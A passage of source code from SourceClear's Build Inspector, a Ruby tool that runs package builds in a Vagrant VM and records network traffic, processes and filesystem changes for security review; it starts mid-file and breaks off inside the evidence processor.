', String, 67 | 'Only process evidence at ') do |evidence_path| 68 | options[:only_process] = evidence_path 69 | end 70 | 71 | opts.on('-r', '--results ', String, 72 | 'Load previously analyzed results at ') do |results_path| 73 | options[:results] = results_path 74 | end 75 | 76 | opts.on('-s', '--script ', String, 77 | 'Run script at against evidence.') do |script| 78 | options[:script] = script 79 | end 80 | 81 | opts.on('-b', '--branch ', String, 82 | "Clone from repository URL") do |branch| 83 | options[:branch] = branch 84 | end 85 | 86 | opts.on('-P', '--package ', String, 'Install specified ') do |package| 87 | options[:package] = package 88 | end 89 | 90 | opts.on('--url', String, "Git repo path is a URL") do 91 | options[:is_url] = true 92 | end 93 | 94 | opts.on('--gem', String, "Perform a GEM based build") do |type| 95 | options[:package_manager] = 'gem' 96 | 97 | if options[:package] 98 | options[:config] = 'configs/gem.yml' 99 | else 100 | options[:config] = 'configs/bundler.yml' 101 | end 102 | end 103 | 104 | opts.on('--gradle', String, "Perform a Gradle based build") do |type| 105 | options[:package_manager] = 'gradle' 106 | options[:config] = 'configs/gradle.yml' 107 | 108 | if options[:package] 109 | options[:package] = nil 110 | end 111 | end 112 | 113 | opts.on('--maven', String, "Perform a Maven based build") do |type| 114 | options[:package_manager] = 'maven' 115 | options[:config] = 'configs/maven.yml' 116 | 117 | if options[:package] 118 | options[:package] = nil 119 | end 120 | end 121 | 122 | opts.on('--npm', String, "Perform a NPM based build") do |type| 123 | options[:package_manager] = 'npm' 124 | options[:config] = 'configs/npm.yml' 125 | end 126 | end 127 | 128 | 129 | optparse.parse! 130 | 131 | 132 | no_package_to_analyze = ARGV.size < 1 && options[:package].nil? 133 | no_evidence_to_process = options[:only_process].nil? 134 | no_script_to_run = (ARGV.size < 1 && options[:script].nil?) || (options[:only_process].nil? && options[:script].nil?) 135 | 136 | 137 | if no_package_to_analyze && no_evidence_to_process && no_script_to_run 138 | puts 'Please specify a repository URL or Path; Or an evidence to process; Or a script to run on a/an repo/evidence' 139 | puts optparse.help 140 | exit -1 141 | elsif no_package_to_analyze && no_evidence_to_process && !no_script_to_run 142 | puts 'Please specify an/a evidence/package/repo to be processed with --process, --package, --url, or ' 143 | exit -1 144 | end 145 | 146 | 147 | if ARGV.size >= 1 && !options[:package].nil? 148 | puts "Package detected, Repo path #{ARGV.first} will be ignored" 149 | elsif ARGV.size >= 1 150 | options[:repo] = ARGV.first 151 | end 152 | 153 | 154 | if !no_evidence_to_process 155 | process_script_text = "with script at #{options[:script]}" if options[:script] 156 | 157 | if options[:only_process] == 's3' 158 | puts "Processing evidence stored in S3 #{process_script_text}" 159 | options[:s3] = true 160 | else 161 | puts "Processing evidence at #{options[:only_process]} #{process_script_text}" 162 | end 163 | 164 | if !no_package_to_analyze 165 | if options[:repo] 166 | puts "Ignoring repo #{options[:repo]} to analyze" 167 | options[:repo] = nil 168 | end 169 | 170 | if options[:package] 171 | puts "Ignoring package #{options[:package]} to analyze" 172 | options[:package] = nil 173 | end 174 | end 175 | end 176 | 177 | 178 | run_inspector(options, options[:repo]) 179 | -------------------------------------------------------------------------------- /inspector_lib.rb: -------------------------------------------------------------------------------- 1 | 2 | require_relative 'lib/build_inspector' 3 | require_relative 'lib/configuration' 4 | require_relative 'lib/evidence_collector' 5 | require_relative 'lib/evidence_processor' 6 | require_relative 'lib/printer' 7 | require_relative 'lib/vagrant_whisperer' 8 | require_relative 'lib/report_builder' 9 | require_relative 'lib/build_inspector_s3' 10 | 11 | 12 | def run_inspector(options, repo_path=nil) 13 | config_file = options[:config] 14 | 15 | if !File.file?(config_file) 16 | puts "Config file not found. Please ensure that #{options[:config]} exists." 17 | exit 1 18 | end 19 | 20 | whisperer = VagrantWhisperer.new(verbose: options[:verbose]) 21 | config = Configuration.new(config_file, options[:package]) 22 | 23 | if options[:s3] 24 | process_s3(options, whisperer.ip_address, config, repo_path) 25 | elsif options[:only_process] 26 | only_process(options, whisperer.ip_address, config, repo_path) 27 | else 28 | collect_evidence_and_build_report(options, repo_path, whisperer, config) 29 | end 30 | end 31 | 32 | 33 | private 34 | 35 | def print_header 36 | puts '****************************** [:] ******************************' 37 | puts '* Build Inspector - SRC:CLR - https://www.sourceclear.com/ *' 38 | puts '* Security for open-source code. *' 39 | puts '****************************** [:] ******************************' 40 | puts "\n" 41 | end 42 | 43 | 44 | def process_s3(options, ip_address, config, repo_path) 45 | b = BuildInspectorS3.new(options[:results], options[:script]) 46 | b.get_evidences.each do |evidence| 47 | b.download(evidence) 48 | options[:only_process] = b.downloads_folder(evidence) 49 | only_process(options, ip_address, config, repo_path) 50 | File.delete(b.downloads_folder(evidence)) 51 | end 52 | end 53 | 54 | 55 | def only_process(options, vagrant_ip, config, repo_path=nil) 56 | start_time = Time.now 57 | zipped_evidence_path = options[:only_process] 58 | evidence_path = zipped_evidence_path.sub(/(.*)\.zip/, '\1') 59 | EvidenceCollector.unzip(zipped_evidence_path, "#{evidence_path}") 60 | 61 | # evidence_name = "#{evidence_path}/evidence" 62 | should_cleanup = true 63 | 64 | print_header 65 | 66 | processor = EvidenceProcessor.new(evidence_path: evidence_path, 67 | vagrant_ip: vagrant_ip, 68 | host_whitelist: config.host_whitelist) 69 | 70 | if options[:script] and options[:script] != '' 71 | should_cleanup = !processor.process_evidence(options[:script], options[:package_manager]) 72 | else 73 | processor.process 74 | end 75 | 76 | end_time = Time.now 77 | total_time = end_time - start_time 78 | puts Printer.yellowify("[:] Build inspector finished after #{total_time} seconds") 79 | 80 | FileUtils.rm_rf(evidence_path, :secure=>true) if should_cleanup 81 | puts Printer.yellowify("View the full build report:") unless should_cleanup 82 | puts " ./#{evidence_path}" unless should_cleanup 83 | end 84 | 85 | 86 | def collect_evidence_and_build_report(options, repo_path=nil, whisperer, config) 87 | print_header 88 | start_time = Time.now 89 | whisperer.up 90 | 91 | if options[:package] 92 | repo_name = options[:package] 93 | elsif options[:is_url] 94 | repo_name = repo_path.split('/').last.chomp('.git') 95 | else 96 | repo_name = File.basename(repo_path) 97 | unless File.exists?(repo_path) 98 | puts "The repo path #{repo_path} does not exist. Did you mean to use --url ?" 99 | exit -1 100 | end 101 | end 102 | 103 | inspector = BuildInspector.new( 104 | whisperer: whisperer, repo_path: repo_path, package: options[:package], 105 | is_url: options[:is_url], repo_branch: options[:branch], 106 | commands: config.commands, evidence_files: config.evidence_files 107 | ) 108 | 109 | whisperer.snapshot 110 | inspector.inspect 111 | 112 | evidence_file_name = "#{options[:package_manager]}-#{repo_name}" 113 | evidence_name = "evidence-#{evidence_file_name}-#{Time.now.strftime('%Y%m%d%H%M%S')}" 114 | 115 | config_name = options[:config] 116 | collector = EvidenceCollector.new(whisperer: whisperer, evidence_name: evidence_name, config_name: config_name) 117 | puts Printer.yellowify('Collecting evidence ...') 118 | collector.collect 119 | whisperer.rollback if options[:rollback] 120 | 121 | processor = EvidenceProcessor.new(evidence_path: evidence_name, 122 | vagrant_ip: whisperer.ip_address, 123 | host_whitelist: config.host_whitelist) 124 | processor.process 125 | 126 | end_time = Time.now 127 | total_time = end_time - start_time 128 | puts Printer.yellowify("[:] Build inspector finished after #{total_time} seconds\n") 129 | 130 | build_report_path = "#{evidence_name}/build-report.html" 131 | ReportBuilder.build("#{build_report_path}", repo_path, repo_name, options, config, processor, start_time, end_time) 132 | puts Printer.yellowify("View the full build report:") 133 | puts " ./#{build_report_path}" 134 | end -------------------------------------------------------------------------------- /lib/build_inspector.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require_relative 'printer' 18 | require_relative 'vagrant_whisperer' 19 | 20 | class BuildInspector 21 | EVIDENCE_PATH = '/evidence'.freeze 22 | BACKUP_PATH = '/backup'.freeze 23 | REPO_PATH = '/home/vagrant/repo'.freeze 24 | RDIFF_TARGET = '/'.freeze 25 | 26 | PCAP_FILE = 'traffic.pcap'.freeze 27 | FILESYSTEM_DIFF_FILE = 'filesystem-diff.txt'.freeze 28 | FILESYSTEM_CHANGES_FILE ='filesystem-changes.txt'.freeze 29 | DIFF_RUBY = %Q~IO.readlines("#{EVIDENCE_PATH}/#{FILESYSTEM_DIFF_FILE}").each { |e| puts e; o,f = e.strip.split(": "); puts `diff -u #{BACKUP_PATH}/\#{f} /\#{f}` if o.eql?("changed") && File.exists?("/"+f) && !File.directory?("/"+f)}~.freeze 30 | FILESYSTEM_DIFF_CMD = "ruby -e '#{DIFF_RUBY}' > #{EVIDENCE_PATH}/#{FILESYSTEM_CHANGES_FILE}".freeze 31 | PROCESSES_BEFORE_FILE = 'ps-before.txt'.freeze 32 | PROCESSES_AFTER_FILE = 'ps-after.txt'.freeze 33 | PROCESSES_FILE = 'snoopy.log'.freeze 34 | 35 | def initialize(whisperer:, repo_path:, package:, is_url:, repo_branch: , commands:, evidence_files: '', verbose: false) 36 | @whisperer = whisperer 37 | @repo_path = repo_path 38 | @package = package 39 | @is_url = is_url 40 | @repo_branch = repo_branch 41 | @commands = Array(commands) 42 | @evidence_files = evidence_files 43 | @verbose = verbose 44 | end 45 | 46 | def inspect 47 | reset_network 48 | clone_repo 49 | snapshot_filesystem 50 | start_monitoring 51 | build 52 | stop_monitoring 53 | get_filesystem_changes 54 | end 55 | 56 | private 57 | 58 | def clone_repo 59 | return if @package 60 | 61 | if @is_url 62 | @whisperer.run(message: "Cloning #{@repo_path}:#{@repo_branch} ...") do |commands| 63 | branch = @repo_branch ? "--branch=#{@repo_branch}" : '' 64 | commands << "git clone --recursive --depth=50 #{branch} #{@repo_path} #{REPO_PATH}" 65 | end 66 | else 67 | @whisperer.run(message: "Copying #{@repo_path} to inspector ...") do |commands| 68 | @whisperer.send_file(@repo_path, REPO_PATH) 69 | if @repo_branch 70 | commands << "cd #{REPO_PATH}" 71 | commands << "git checkout #{@repo_branch}" 72 | end 73 | end 74 | end 75 | end 76 | 77 | def reset_network 78 | # If the host machine's IP address changes, this can confuse Vagrant 79 | # Resetting the network allows Vagrant to update network info 80 | @whisperer.run(stream: true) { |c| c << 'sudo ifdown eth0 && sudo ifup eth0' } 81 | end 82 | 83 | def snapshot_filesystem 84 | filelist = @evidence_files.gsub(/\$HOME/, @whisperer.home) 85 | local_list = Tempfile.new('evidence-files') 86 | local_list.write(filelist) 87 | local_list.rewind 88 | @whisperer.send_file(local_list.path, rdiff_filelist_path) 89 | local_list.close 90 | local_list.unlink 91 | 92 | @whisperer.run(message: 'Preparing file system snapshot (this may take a while) ...') do |commands| 93 | commands << "sudo rdiff-backup --include-filelist #{rdiff_filelist_path} #{RDIFF_TARGET} #{BACKUP_PATH}" 94 | end 95 | end 96 | 97 | def rdiff_filelist_path 98 | File.join(VagrantWhisperer::TMP_PATH, 'evidence-files.txt') 99 | end 100 | 101 | def start_monitoring 102 | @whisperer.run(message: 'Preparing network and process monitoring ...') do |commands| 103 | commands << "sudo tcpdump -w #{EVIDENCE_PATH}/traffic.pcap -i eth0 > /dev/null 2>&1 &disown" 104 | commands << "ps --sort=lstart -eott,cmd > #{EVIDENCE_PATH}/#{PROCESSES_BEFORE_FILE}" 105 | commands << "sleep 0.1 && truncate -s 0 /var/log/snoopy.log" 106 | end 107 | end 108 | 109 | def build 110 | @whisperer.run(message: 'Starting build ...') do |commands| 111 | # TODO inspecting a directory that's not a git repository will show errors 112 | commands << "cd #{REPO_PATH}" 113 | commands << "git submodule init" 114 | commands.concat(@commands) 115 | commands << Printer.yell('Done. Your build exited with $?.') 116 | end 117 | end 118 | 119 | def stop_monitoring 120 | @whisperer.run(message: 'Stopping network monitoring ...') do |commands| 121 | commands << 'sudo pkill tcpdump' 122 | commands << "ps --sort=lstart -eott,cmd > #{EVIDENCE_PATH}/#{PROCESSES_AFTER_FILE}" 123 | end 124 | end 125 | 126 | def get_filesystem_changes 127 | @whisperer.run(message: 'Generating file system changes ...') do |commands| 128 | get_current_mirror = "`sudo rdiff-backup --list-increments #{BACKUP_PATH} | awk -F\": \" '$1 == \"Current mirror\" {print $2}'`" 129 | commands << "sudo rdiff-backup --include-filelist #{rdiff_filelist_path} --compare-at-time \"#{get_current_mirror}\" #{RDIFF_TARGET} #{BACKUP_PATH} > #{EVIDENCE_PATH}/#{FILESYSTEM_DIFF_FILE}" 130 | 131 | # This MUST happen remotely, even though it's ugly, because it: 132 | # Uses diff, which may not be on host OS 133 | # May need to compare files against those in BACKUP_PATH 134 | commands << FILESYSTEM_DIFF_CMD 135 | end 136 | end 137 | end 138 | -------------------------------------------------------------------------------- /lib/build_inspector_s3.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'aws-sdk' 18 | require 'fileutils' 19 | require 'json' 20 | 21 | class BuildInspectorS3 22 | 23 | def initialize(results_file, script_name) 24 | if credentials_not_found 25 | puts 'Please ensure the secrets AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY, are set in ENV.' 26 | exit -1 27 | end 28 | 29 | @uploader = Aws::S3::Resource.new(region: region_name) 30 | @client = Aws::S3::Client.new(region: region_name) 31 | @files = [] 32 | @analyzed_evidence = load_results(results_file) 33 | @script_name = script_name 34 | end 35 | 36 | def upload(file) 37 | puts " [x] Uploading #{file}..." 38 | obj = @uploader.bucket(bucket_name).object(File.basename(file)) 39 | obj.upload_file(file) 40 | puts " [x] Uploaded #{file}" 41 | end 42 | 43 | def get_evidences 44 | puts ' [x] Collecting new evidences...' 45 | @client.list_objects(bucket: bucket_name).each do |response| 46 | not_analyzed_evidence = response.contents.map { |object| object[:key] if !@analyzed_evidence.key?(evidence_folder(object[:key])) }.compact 47 | @files.concat not_analyzed_evidence 48 | end 49 | puts " [x] Collected #{@files.length} new evidence(s)." 50 | @files 51 | end 52 | 53 | def download(filename) 54 | puts " [x] Downloading #{filename}..." 55 | create_download_dir 56 | File.open(downloads_folder(filename), 'wb') do |file| 57 | reap = @client.get_object({ bucket: bucket_name, key: filename }, target: file) 58 | end 59 | puts " [x] Downloaded #{filename}" 60 | filename 61 | end 62 | 63 | def downloads_folder(filename='') 64 | File.expand_path("../../#{@script_name}/#{filename}", __FILE__) 65 | end 66 | 67 | 68 | private 69 | 70 | def evidence_folder(zipped_filename='') 71 | filename = zipped_filename.sub(/(.*)\.zip/, '\1') 72 | File.expand_path("../../#{@script_name}/#{filename}/evidence", __FILE__) 73 | end 74 | 75 | def load_results(file) 76 | return {} if !file 77 | 78 | if File.file?(file) and !File.zero?(file) 79 | File.open(file, 'r') do |f| 80 | @analyzed_evidence = JSON.load(f) 81 | end 82 | else 83 | @analyzed_evidence = {} 84 | end 85 | end 86 | 87 | def create_download_dir 88 | dirname = downloads_folder 89 | unless File.directory?(dirname) 90 | FileUtils.mkdir_p(dirname) 91 | end 92 | end 93 | 94 | def credentials_not_found 95 | return ENV['AWS_ACCESS_KEY_ID'].nil? && ENV['AWS_SECRET_ACCESS_KEY'].nil? && ENV['AWS_PROFILE'].nil? 96 | end 97 | 98 | def region_name 99 | ENV['AWS_REGION_NAME'] || 'us-east-1' 100 | end 101 | 102 | def bucket_name 103 | ENV['AWS_BUCKET_NAME'] || 'build-inspector' 104 | end 105 | 106 | end 107 | -------------------------------------------------------------------------------- /lib/configuration.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'yaml' 18 | 19 | class Configuration 20 | attr_reader :config 21 | 22 | def initialize(config = 'config.yml', package = nil) 23 | @config = YAML.load_file(config) if File.exist?(config) 24 | @config ||= {} 25 | @config['evidence_files'] ||= {} 26 | @config['commands'] = ["#{@config['commands'].first} #{package}"] if package 27 | @excluded = @config['evidence_files'].fetch('exclude', []) 28 | @included = @config['evidence_files'].fetch('include', []) 29 | end 30 | 31 | def method_missing(sym, *args, &block) 32 | @config[sym.to_s] 33 | end 34 | 35 | # Returns evidence_files configuration as a string in 36 | # rdiff-backup's --include-filelist format 37 | def evidence_files 38 | @excluded.map { |x| "- #{x}" }.concat(@included) * "\n" 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /lib/evidence_collector.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'fileutils' 18 | require 'zip' 19 | require_relative 'build_inspector' 20 | require_relative 'vagrant_whisperer' 21 | 22 | class EvidenceCollector 23 | def initialize(whisperer:, evidence_name:, config_name:, verbose: false) 24 | @whisperer = whisperer 25 | @evidence_name = evidence_name 26 | @config_name = config_name 27 | @verbose = verbose 28 | end 29 | 30 | def collect 31 | copy_snoopy_log 32 | 33 | zip_name = "#{@evidence_name}.zip" 34 | remote_zip_path = "#{@whisperer.home}/#{zip_name}" 35 | zip(BuildInspector::EVIDENCE_PATH, remote_zip_path) 36 | @whisperer.get_file(remote_zip_path) 37 | EvidenceCollector.unzip(zip_name, @evidence_name) 38 | 39 | # Call these after unzipping so target directory will exist 40 | copy_configuration 41 | end 42 | 43 | private 44 | 45 | def copy_configuration 46 | dest_file = File.join(@evidence_name, @config_name) 47 | FileUtils.mkdir_p(File.dirname(dest_file)) 48 | FileUtils.copy_file(@config_name, dest_file) 49 | end 50 | 51 | def copy_snoopy_log 52 | @whisperer.run { |c| c << "sudo cp /var/log/snoopy.log #{BuildInspector::EVIDENCE_PATH}" } 53 | end 54 | 55 | def zip(target, zip_path) 56 | @whisperer.run { |c| c << "zip -r #{zip_path} #{target} 2>&1 > /dev/null" } 57 | end 58 | 59 | def self.unzip(zip_path, destination) 60 | Zip::File.open(zip_path) do |zip| 61 | zip.each do |entry| 62 | path = File.join(destination, entry.name) 63 | FileUtils.mkdir_p(File.dirname(path)) 64 | entry.extract(path) { true } # overwrite destination 65 | end 66 | end 67 | end 68 | end 69 | -------------------------------------------------------------------------------- /lib/evidence_processor.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'resolv' 18 | require_relative 'build_inspector' 19 | require_relative 'packet_inspector' 20 | require_relative 'scripts/build_inspector_script' 21 | require_relative 'scripts/insecure_network_finder' 22 | require_relative 'scripts/network_activity_finder' 23 | 24 | class EvidenceProcessor 25 | attr_reader :evidence_path 26 | 27 | KILOBYTE = 1024.0 28 | 29 | SNOOPY_FILTER = [ 30 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/rm\]: rm #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~, 31 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -c scp -t #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~, 32 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/scp\]: scp -t #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~, 33 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -c bash -l #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~, 34 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -l #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~, 35 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo rdiff-backup --list-increments /backup\n\z~, 36 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/rdiff-backup\]: rdiff-backup --list-increments /backup\n\z~, 37 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo rdiff-backup --include-filelist /tmp/evidence-files\.txt --compare-at-time [^/]+/ /backup\n\z~, 38 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/rdiff-backup\]: rdiff-backup --include-filelist /tmp/evidence-files\.txt --compare-at-time [^/]+/ /backup\n\z~, 39 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/ruby\]: #{Regexp.escape("ruby -e " + BuildInspector::DIFF_RUBY).tr("'", '')}\n\z~, 40 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo pkill tcpdump\n\z~, 41 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/pkill\]: pkill tcpdump\n\z~, 42 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/ps\]: ps --sort=lstart -eott,cmd\n\z~, 43 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/awk\]: awk -F: \$1 == "Current mirror" {print \$2}\n\z~, 44 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/diff\]: diff -u /backup/home/vagrant/\.bashrc /home/vagrant/\.bashrc\n\z~, 45 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo cp /var/log/snoopy\.log /evidence\n\z~, 46 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/cp\]: cp /var/log/snoopy\.log /evidence\n\z~, 47 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/cat\]: cat /home/vagrant/\.rvm/(RELEASE|VERSION)\n\z~, 48 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/grep\]: grep DISTRIB_ID=Ubuntu /etc/lsb-release\n\z~, 49 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep ^\s*rvm .*$ /home/vagrant/.rvmrc')}\n\z~, 50 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep ^#ruby= /home/vagrant/repo/Gemfile')}\n\z~, 51 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep -E ^\s*ruby /home/vagrant/repo/Gemfile')}\n\z~, 52 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/ps\]: ps -p \d+ -o ucomm=\n\z~, 53 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_arch=# { s#^system_arch=##;; p; } -e /^$/d')}\n\z~, 54 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_name=# { s#^system_name=##;; p; } -e /^$/d')}\n\z~, 55 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_name_lowercase=# { s#^system_name_lowercase=##;; p; } -e /^$/d')}\n\z~, 56 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_type=# { s#^system_type=##;; p; } -e /^$/d')}\n\z~, 57 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_version=# { s#^system_version=##;; p; } -e /^$/d')}\n\z~, 58 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/sed\]: #{Regexp.escape('sed -e s/-/ /')}\n\z~, 59 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/uname\]:~, 60 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/home/vagrant/\.rvm/rubies/ruby-[\d\.]+/bin/ruby\]: #{Regexp.escape("ruby -e " + BuildInspector::DIFF_RUBY).tr("'", '')}\n\z~, 61 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/awk\]: #{Regexp.escape('awk -F= $1=="DISTRIB_RELEASE"{print $2} /etc/lsb-release')}\n\z~, 62 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/dirname\]:~, 63 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/dpkg\]: dpkg --print-architecture\n\z~, 64 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/head\]: head -n 1\n\z~, 65 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/locale\]:~, 66 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/tr\]: #{Regexp.escape('tr [A-Z] [a-z]')}\n\z~, 67 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/usr/bin/which\]:~, 68 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/find\]:~, 69 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/basename\]:~, 70 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/lib/git-core/git\]:~, 71 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/bin/ls\]:~, 72 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/expr\]:~, 73 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/dirname\]:~, 74 | ] 75 | 76 | def initialize(evidence_path:, vagrant_ip:, host_whitelist:) 77 | @evidence_path = File.join(evidence_path, 'evidence') 78 | @vagrant_ip = vagrant_ip 79 | @host_whitelist = host_whitelist 80 | end 81 | 82 | def process 83 | print_processes 84 | print_connections 85 | print_insecure_connections 86 | print_filesystem_changes 87 | print_running_processes 88 | end 89 | 90 | def process_evidence(script_path, package_manager=nil) 91 | if script_path.include? 'insecure_network' 92 | i = InsecureNetworkFinder.new(evidence_path: @evidence_path, package_manager: package_manager, host_whitelist: @host_whitelist) 93 | puts "Results: #{i.run.to_s.upcase}" 94 | return i.run # returns true/false 95 | elsif script_path.include? 'network_activity' 96 | i = NetworkActivityFinder.new(evidence_path: @evidence_path, package_manager: package_manager, host_whitelist: @host_whitelist) 97 | puts "Results: #{i.run.to_s.upcase}" 98 | return i.run # returns true/false 99 | else 100 | puts ' [*] Script not found.' 101 | end 102 | 103 | false 104 | end 105 | 106 | def get_unfiltered_processes 107 | snoopy_path = File.join(@evidence_path, BuildInspector::PROCESSES_FILE) 108 | IO.readlines(snoopy_path, :encoding => 'ISO-8859-1') 109 | end 110 | 111 | def get_processes 112 | lines = get_unfiltered_processes 113 | SNOOPY_FILTER.each do |filter| 114 | lines -= lines.grep(filter) 115 | end 116 | 117 | # The particular version of gradle we use calls a perl script when using submodules 118 | perl_lines = lines.select { |l| l.include?('filename:/usr/bin/perl]: /usr/bin/perl -e') } 119 | require 'digest' 120 | sha256 = Digest::SHA256.new 121 | perl_lines.each do |pl| 122 | idx = lines.find_index(pl) 123 | next unless idx 124 | perl = lines[idx + 